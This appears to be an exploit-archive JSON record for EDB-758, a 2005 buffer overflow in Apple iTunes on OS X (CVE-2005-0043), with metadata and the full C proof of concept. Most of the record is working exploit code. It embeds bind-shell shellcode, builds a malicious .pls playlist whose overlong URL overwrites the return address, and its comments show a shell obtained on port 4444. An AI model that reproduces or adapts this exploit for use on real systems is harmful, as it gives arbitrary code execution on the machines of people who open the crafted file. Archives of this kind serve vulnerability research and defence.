{"exploit":{"id":"EDB-758","name":"Apple iTunes - Playlist Parsing Local Buffer Overflow","description":"Apple iTunes - Playlist Parsing Local Buffer Overflow","cves":["CVE-2005-0043"],"author":"nemo","published":"2005-01-16","platform":"osx","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/758","path":"exploits/osx/local/758.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-758.c","vulnerabilities":[{"id":"CVE-2005-0043","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in Apple iTunes 4.7 allows remote attackers to execute arbitrary code via a long URL in (1) .m3u or (2) .pls playlist files.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-0043","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-0043"},"updatedAt":"2024-08-07T20:57:40.721Z","retrievedAt":"2026-11-26T13:10:39.232Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-758.png?v=2","url":"https://exploitbin.com/exploits/EDB-758","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-758/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-758/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n * PoC for iTunes on OS X 10.3.7\n * -( nemo@felinemenace.org )-\n *\n * Generates a .pls file, when loaded in iTunes it\n * binds a shell to port 4444.\n * Shellcode contains no \\x00 or \\x0a's.\n *\n * sample output:\n *\n * -[nemo@gir:~]$ ./fm-eyetewnz foo.pls\n * -( fm-eyetewnz )-\n * -( nemo@felinemenace.org )-\n * Creating file: foo.pls.\n * Bindshell on port: 4444\n * -[nemo@gir:~]$ open foo.pls\n * -[nemo@gir:~]$ nc localhost 4444\n * id\n * uid=501(nemo) gid=501(nemo) groups=501(nemo)\n *\n * Thanks to andrewg, mercy and core.\n * Greetings to pulltheplug and felinemenace.\n *\n * -( need a challenge? )-\n * -( http://pulltheplug.org )-\n */\n\n#include <stdio.h>\n#include <strings.h>\n\n#define BUFSIZE 1598 + 4\n\nchar shellcode[] = /* large ugly shellcode generated by http://metasploit.com */\n\"\\x7c\\xa5\\x2a\\x79\\x40\\x82\\xff\\xfd\\x7f\\xe8\\x02\\xa6\\x3b\\xff\\x07\\xfa\"\n\"\\x38\\xa5\\xf8\\x4a\\x3c\\xc0\\xee\\x83\\x60\\xc6\\xb7\\xfb\\x38\\x85\\x07\\xee\"\n\"\\x7c\\x89\\x03\\xa6\\x80\\x9f\\xf8\\x4a\\x7c\\x84\\x32\\x78\\x90\\x9f\\xf8\\x4a\"\n\"\\x7c\\x05\\xf8\\xac\\x7c\\xff\\x04\\xac\\x7c\\x05\\xff\\xac\\x3b\\xc5\\x07\\xba\"\n\"\\x7f\\xff\\xf2\\x15\\x42\\x20\\xff\\xe0\\x4c\\xff\\x01\\x2c\\xd6\\xe3\\xb7\\xf9\"\n\"\\xd6\\x03\\xb7\\xfa\\xd6\\x23\\xb7\\xfd\\xd6\\x83\\xb7\\x9a\\xaa\\x83\\xb7\\xf9\"\n\"\\x92\\x83\\xb5\\x83\\x92\\xfd\\xac\\x83\\xa6\\x83\\xb7\\xf6\\xee\\x81\\xa6\\xa7\"\n\"\\xee\\x83\\xb7\\xfb\\x92\\x0b\\xb5\\x5d\\xd6\\x23\\xb7\\xeb\\xd6\\x83\\xb7\\x93\"\n\"\\x91\\x40\\x44\\x83\\xaa\\x83\\xb7\\xf9\\x92\\x83\\xb5\\x83\\xd6\\x83\\xb7\\x91\"\n\"\\x91\\x40\\x44\\x83\\xaa\\x83\\xb7\\xf9\\x92\\x83\\xb5\\x83\\x91\\x40\\x44\\x83\"\n\"\\xd6\\x83\\xb7\\xe5\\xd6\\x03\\xb7\\xeb\\x7e\\x02\\x48\\x13\\xd6\\x22\\x48\\x13\"\n\"\\xd6\\x02\\x48\\x0b\\xaa\\x83\\xb7\\xf9\\x92\\x83\\xb5\\x83\\x92\\xfd\\xac\\x83\"\n\"\\xd6\\x23\\xb7\\xf9\\xd6\\x83\\xb7\\xa1\\x91\\x40\\x44\\x83\\x92\\x27\\x9c\\x83\"\n\"\\xaa\\x83\\xb7\\xf9\\x92\\x83\\xb5\\x83\\xd6\\x26\\x48\\x04\\xc2\\x86\\x48\\x04\"\n\"\\xae\\x01\\x48\\x1e\\xd6\\x83\\xb7\\xb9\\xaa\\x83\\xb7\\xf9\\x92\\x83\\xb5\\x83\"\n\"\\x92\\x26\\x9d\\x82\\xae\\x01\\x48\\x06\\x92\\xeb\\xb5\\x5d\\xd6\\xe0\\xb7\\xd3\"\n\"\\x7e\\xe2\\x48\\x03\\x7e\\x22\\x48\\x07\\xd6\\x02\\x48\\x03\\xd6\\x83\\xb7\\xc0\"\n\"\\x92\\x83\\xb3\\x57\\xaa\\x83\\xb7\\xf9\\x92\\x83\\xb5\\x83\\x91\\x63\\xb7\\xf3\"\n\"\\xc1\\xe1\\xde\\x95\\xc1\\xe0\\xc4\\x93\\xee\\x83\\xb7\\xfb\";\n\nint main(int ac, char **av)\n{\n        int n,*p;\n        unsigned char * q;\n        char buf[BUFSIZE];\n        FILE *pls;\n        int offset=0x3DA8;\n        char playlist[] = {\n                \"[playlist]\\n\"\n                \"NumberOfEntries=1\\n\"\n                \"File1=http://\"\n        };\n        printf(\"-( fm-eyetewnz )-\\n\");\n        printf(\"-( nemo@felinemenace.org )-\\n\");\n        memset(buf,'\\x60',BUFSIZE);\n        bcopy(shellcode, buf + (BUFSIZE - 44 - sizeof(shellcode)),sizeof(shellcode) - 1); // avoid mangled stack.\n        q = buf + sizeof(buf) - 5;\n        p = (int *)q;\n        if(!(av[1])) {\n                printf(\"usage: %s <filename (.pls)> [offset]\\n\",*av);\n                exit(1);\n        }\n        if(av[2])\n                offset = atoi(av[2]);\n        *p = (0xc0000000 - offset);// 0xbfffc258;\n        if(!(pls = fopen(*(av+1),\"w+\"))) {\n                printf(\"error opening file: %s.\\n\", *(av +1));\n                exit(1);\n        }\n        printf(\"Creating file: %s.\\n\",*(av+1));\n        printf(\"Bindshell on port: 4444\\n\");\n        fwrite(playlist,sizeof(playlist) - 1,1,pls);\n        fwrite(buf,sizeof(buf) - 1,1,pls);\n        fclose(pls);\n}\n\n// milw0rm.com [2005-01-16]","sha256":"0daf4e37c5644b0707f906641a93c89f43fc4e960172a8f360c355dbaf31df90","bytes":3243,"fetchedAt":"2026-11-26T13:10:37.552Z","encoding":"utf-8 (display only; download retains original bytes)"}